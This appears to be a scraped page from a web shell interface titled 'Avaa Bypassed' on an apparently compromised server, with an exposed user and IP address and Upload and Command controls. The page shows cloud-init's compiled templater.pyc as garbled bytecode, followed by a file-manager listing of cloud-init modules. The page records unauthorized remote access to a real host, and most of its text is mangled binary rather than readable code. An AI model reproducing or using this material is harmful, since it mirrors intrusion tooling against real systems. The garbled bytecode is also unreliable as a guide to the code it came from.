404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@3.137.186.186: ~ $
3

\�me��@s
UddlZddlZddlZddlZddlmZddlmZddlm	Z	ddl
mZey$ddl
mZddl
mZdZeZWn eefk
r�d	ZeZYnXeje�Zejd
ej�Zejd�ZdZGd
d�de�Zdd�Zdd�Z dd�Z!ddd�Z"dd�Z#ddd�Z$dS)�N)�Any)�
type_utils)�util)�
write_file)�DebugUndefined)�TemplateTFz##\s*template:(.*)z)\$\{([A-Za-z0-9_.]+)\}|\$([A-Za-z0-9_.]+)zCI_MISSING_JINJA_VAR/c@s eZdZdZdd�Zdd�ZdS)�UndefinedJinjaVariablez>Class used to represent any undefined jinja template variable.cCsdt|jfS)Nz%s%s)�MISSING_JINJA_PREFIX�_undefined_name)�self�r�/usr/lib/python3.6/templater.py�__str__2szUndefinedJinjaVariable.__str__cCs(t|�jtd�}tdj|j|d���dS)N�zhUndefined jinja variable: "{this}-{other}". Jinja tried subtraction. Perhaps you meant "{this}_{other}"?)�this�other)�str�replacer	�	TypeError�formatr
)rrrrr
�__sub__5szUndefinedJinjaVariable.__sub__N)�__name__�
__module__�__qualname__�__doc__rrrrrr
r/srcs�fdd�}tj||�S)z�This does simple replacement of bash variable like templates.

    It identifies patterns like ${a} or $a and can also identify patterns like
    ${a.b} or $a.b which will look for a key 'b' in the dictionary rooted
    by key 'a'.
    cs�|jd�}|dkr|jd�}|dkr,td��tj|jd��}�}xBt|�dkr�|j�}t|t�sxt	d|t
j|�|f��||}qBW|j�}t|t�s�t	d||t
j|�f��t||�S)N��z,Match encountered but no valid group present�.zRCan not traverse into non-dictionary '%s' of type %s while looking for subkey '%s'z<Can not extract key '%s' from non-dictionary '%s' of type %s)
�group�RuntimeError�collections�deque�split�len�popleft�
isinstance�dictr�tuZobj_namer)�match�name�pathZselected_params�key)�paramsrr
�replacerGs(



zbasic_render.<locals>.replacer)�
BASIC_MATCHER�sub)�contentr,r-r)r,r
�basic_render?sr1cCs�dd�}|jd�d
kr(|jdd�\}}n|}d}tj|�}|sHdt|fS|jd�j�j�}|dkrntd|��|dkr�t	r�t
jd	�dt|fS|dkr�t	r�d||fSdt|fSdS)NcSs0|jd�rdnd}t|tddgd�jf|�|S)N�
rTz
jinja2.ext.do)Z	undefinedZtrim_blocks�
extensions)�endswith�	JTemplaterZrender)r0r,�addrrr
�jinja_renderfsz%detect_template.<locals>.jinja_renderr2rr�basic�jinjaz.Unknown template rendering type '%s' requestedzcJinja not available as the selected renderer for desired template, reverting to the basic renderer.���)r9r8)�findr"�TYPE_MATCHERr(r1r�lower�strip�
ValueError�JINJA_AVAILABLE�LOGZwarning)�textr7Zident�restZ
type_match�
template_typerrr
�detect_templatees(




rEcCs4|si}ttj|��\}}}tjd||�|||�S)Nz+Rendering content of '%s' using renderer %s)rErZ	load_filerA�debug)�fnr,rD�rendererr0rrr
�render_from_file�s
rI�cCst||�}tj|||d�dS)N)�mode)rIrr)rGZoutfnr,rK�contentsrrr
�render_to_file�s
rMcCs |si}t|�\}}}|||�S)z
Render string)rE)r0r,Z_template_typerHrrr
�
render_string�srNc	Cs�t|d��}|j�}WdQRX||d�}t||�j�d}|r\tj|dd�}|s\td|��|dkrrtjj	|�nt
||dd	�dS)
N�r)�variant�prefixr2T)�defaultz.Cannot render template file %s - invalid yaml.�-�w)Zomode)�open�readrN�rstriprZ	load_yamlr�sys�stdout�writer)	rP�template�outputZis_yamlrQZfhrLZ
tpl_params�outrrr
�render_template�s

r^)rJ)N)%r Zlogging�rerXZtypingrZ	cloudinitrr'rZcloudinit.atomic_helperrZ
JUndefinedZjinja2rZ_DebugUndefinedrr5r@�ImportError�AttributeError�objectZ	getLoggerrrA�compile�Ir<r.r	rr1rErIrMrNr^rrrr
�<module>s8


&)


Filemanager

Name Type Size Permission Actions
__init__.cpython-36.opt-1.pyc File 113 B 0644
__init__.cpython-36.pyc File 113 B 0644
apport.cpython-36.opt-1.pyc File 5.92 KB 0644
apport.cpython-36.pyc File 5.96 KB 0644
atomic_helper.cpython-36.opt-1.pyc File 2.05 KB 0644
atomic_helper.cpython-36.pyc File 2.05 KB 0644
cloud.cpython-36.opt-1.pyc File 3.08 KB 0644
cloud.cpython-36.pyc File 3.08 KB 0644
dmi.cpython-36.opt-1.pyc File 5.32 KB 0644
dmi.cpython-36.pyc File 5.32 KB 0644
event.cpython-36.opt-1.pyc File 1.97 KB 0644
event.cpython-36.pyc File 1.97 KB 0644
features.cpython-36.opt-1.pyc File 1.47 KB 0644
features.cpython-36.pyc File 1.47 KB 0644
gpg.cpython-36.opt-1.pyc File 3.76 KB 0644
gpg.cpython-36.pyc File 3.76 KB 0644
helpers.cpython-36.opt-1.pyc File 13.31 KB 0644
helpers.cpython-36.pyc File 13.31 KB 0644
importer.cpython-36.opt-1.pyc File 1.68 KB 0644
importer.cpython-36.pyc File 1.68 KB 0644
log.cpython-36.opt-1.pyc File 4.61 KB 0644
log.cpython-36.pyc File 4.61 KB 0644
netinfo.cpython-36.opt-1.pyc File 12.67 KB 0644
netinfo.cpython-36.pyc File 12.67 KB 0644
persistence.cpython-36.opt-1.pyc File 2.82 KB 0644
persistence.cpython-36.pyc File 2.82 KB 0644
registry.cpython-36.opt-1.pyc File 1.38 KB 0644
registry.cpython-36.pyc File 1.38 KB 0644
safeyaml.cpython-36.opt-1.pyc File 8 KB 0644
safeyaml.cpython-36.pyc File 8 KB 0644
settings.cpython-36.opt-1.pyc File 1.14 KB 0644
settings.cpython-36.pyc File 1.14 KB 0644
signal_handler.cpython-36.opt-1.pyc File 1.58 KB 0644
signal_handler.cpython-36.pyc File 1.58 KB 0644
simpletable.cpython-36.opt-1.pyc File 2.53 KB 0644
simpletable.cpython-36.pyc File 2.53 KB 0644
ssh_util.cpython-36.opt-1.pyc File 15.36 KB 0644
ssh_util.cpython-36.pyc File 15.36 KB 0644
stages.cpython-36.opt-1.pyc File 25.15 KB 0644
stages.cpython-36.pyc File 25.15 KB 0644
subp.cpython-36.opt-1.pyc File 9.97 KB 0644
subp.cpython-36.pyc File 9.97 KB 0644
temp_utils.cpython-36.opt-1.pyc File 2.81 KB 0644
temp_utils.cpython-36.pyc File 2.81 KB 0644
templater.cpython-36.opt-1.pyc File 4.55 KB 0644
templater.cpython-36.pyc File 4.55 KB 0644
type_utils.cpython-36.opt-1.pyc File 437 B 0644
type_utils.cpython-36.pyc File 437 B 0644
url_helper.cpython-36.opt-1.pyc File 21.03 KB 0644
url_helper.cpython-36.pyc File 21.03 KB 0644
user_data.cpython-36.opt-1.pyc File 8.25 KB 0644
user_data.cpython-36.pyc File 8.25 KB 0644
util.cpython-36.opt-1.pyc File 73.64 KB 0644
util.cpython-36.pyc File 73.64 KB 0644
version.cpython-36.opt-1.pyc File 429 B 0644
version.cpython-36.pyc File 429 B 0644
warnings.cpython-36.opt-1.pyc File 3.25 KB 0644
warnings.cpython-36.pyc File 3.25 KB 0644